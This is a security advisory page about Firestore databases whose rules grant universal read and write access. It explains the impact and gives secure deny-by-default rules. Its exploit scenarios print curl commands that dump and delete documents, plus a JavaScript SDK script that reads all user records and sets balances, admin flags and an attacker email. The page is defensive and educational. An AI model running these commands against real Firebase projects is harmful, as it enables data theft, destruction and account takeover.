Skip to content

Firebase Security Vulnerability: FBR-ACCESS-001

Name: Universal Public Access to Firestore Database

Applicable Services: Cloud Firestore, Firebase Realtime Database

Description

Critical Security Misconfiguration

This vulnerability represents the most dangerous possible configuration for a Firebase application, where security rules explicitly grant unlimited access to anyone on the internet.

  • The Technical Flaw: Security rules use allow read, write: if true or equivalent permissive conditions that bypass all authentication and authorization checks.
  • Intended Behavior: Firebase security rules should implement a deny-by-default approach, granting access only to authenticated and authorized users for specific resources.
  • The Risk: This configuration exposes the entire database to unauthorized access, allowing attackers to read sensitive data, corrupt information, or generate excessive costs through malicious operations.

Impact

Severe Business and Security Consequences

This vulnerability can lead to catastrophic outcomes for any application:

  • Complete Data Exfiltration: Attackers can download and steal all sensitive user data, business records, and proprietary information stored in the database.
  • Data Destruction and Corruption: Malicious actors can delete critical business data or corrupt records, potentially causing irreversible damage to operations.
  • Unauthorized Data Creation: Attackers can inject malicious content, spam, or excessive data to inflate Firebase usage costs and disrupt service.
  • Compliance Violations: Exposure of personal data (PII, PHI, financial records) can result in severe regulatory penalties under GDPR, HIPAA, or other data protection laws.
  • Reputation Damage: Public disclosure of a data breach can permanently damage customer trust and business relationships.

Example Attack Scenarios

Exploit Scenario: Complete Database Compromise via REST API

This attack demonstrates how an attacker can exploit universal access rules to completely compromise a Firestore database.

  1. The Vulnerable Rule:

    rules_version = '2';
    service cloud.firestore {
      match /databases/{database}/documents {
        match /{document=**} {
          allow read, write: if true;
        }
      }
    }
    

  2. Attacker's Goal: To exfiltrate all user data and sensitive business information from the database.

  3. The Exploit: The attacker discovers the Firebase project ID (often visible in client-side code) and directly queries the Firestore REST API:

    # Download all documents from the users collection
    curl -X GET \
      "https://firestore.googleapis.com/v1/projects/YOUR-PROJECT-ID/databases/(default)/documents/users" \
      -H "Content-Type: application/json"
    
    # Download all documents from any collection
    curl -X GET \
      "https://firestore.googleapis.com/v1/projects/YOUR-PROJECT-ID/databases/(default)/documents/orders" \
      -H "Content-Type: application/json"
    
    # Delete critical business data
    curl -X DELETE \
      "https://firestore.googleapis.com/v1/projects/YOUR-PROJECT-ID/databases/(default)/documents/users/victim-user-id" \
      -H "Content-Type: application/json"
    

  4. Outcome: The attacker successfully downloads all user profiles, order histories, payment information, and other sensitive data, then potentially deletes critical records to cover their tracks.

Exploit Scenario: Client-Side Database Manipulation

This scenario shows how an attacker can use legitimate Firebase SDK calls to manipulate data.

  1. The Vulnerable Rule:

    match /{document=**} {
      allow read, write: if true;
    }
    

  2. Attacker's Goal: To modify other users' account balances and personal information.

  3. The Exploit: The attacker creates a simple web page with Firebase SDK and manipulates any user's data:

    // Initialize Firebase with the target project configuration
    import { initializeApp } from 'firebase/app';
    import { getFirestore, doc, updateDoc, getDocs, collection } from 'firebase/firestore';
    
    const app = initializeApp({
      projectId: "target-project-id",
      // Other config visible in client code
    });
    const db = getFirestore(app);
    
    // Read all user documents
    const querySnapshot = await getDocs(collection(db, "users"));
    querySnapshot.forEach((doc) => {
      console.log("Stolen data:", doc.data());
    });
    
    // Modify victim's account balance
    await updateDoc(doc(db, "users", "victim-user-id"), {
      accountBalance: 1000000,
      isAdmin: true,
      email: "attacker@evil.com"
    });
    

  4. Outcome: The attacker gains access to all user accounts, can modify account balances, escalate privileges, and take control of user accounts.

Mitigation

The vulnerability is resolved by implementing a deny-by-default security model with specific authentication and authorization checks for each resource path.

rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    // CRITICAL VULNERABILITY: Universal access to entire database
    match /{document=**} {
      allow read, write: if true;
    }
  }
}
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    // SECURE: Deny all access by default
    match /{document=**} {
      allow read, write: if false;
    }

    // Allow users to read/write only their own user document
    match /users/{userId} {
      allow read, write: if request.auth != null && request.auth.uid == userId;
    }

    // Allow authenticated users to read public posts
    match /posts/{postId} {
      allow read: if request.auth != null;
      allow write: if request.auth != null && request.auth.uid == resource.data.authorId;
    }

    // Allow users to read/write their own private documents
    match /users/{userId}/private/{docId} {
      allow read, write: if request.auth != null && request.auth.uid == userId;
    }
  }
}

Security Best Practices

The secure rules follow these critical principles:

  • Deny by Default: The catch-all rule match /{document=**} explicitly denies all access, ensuring no unprotected paths exist.
  • Authentication Required: All access requires request.auth != null to ensure users are logged in.
  • Authorization Checks: Rules verify that users can only access their own data by comparing request.auth.uid with document ownership fields.
  • Principle of Least Privilege: Each rule grants the minimum necessary permissions for specific use cases.

References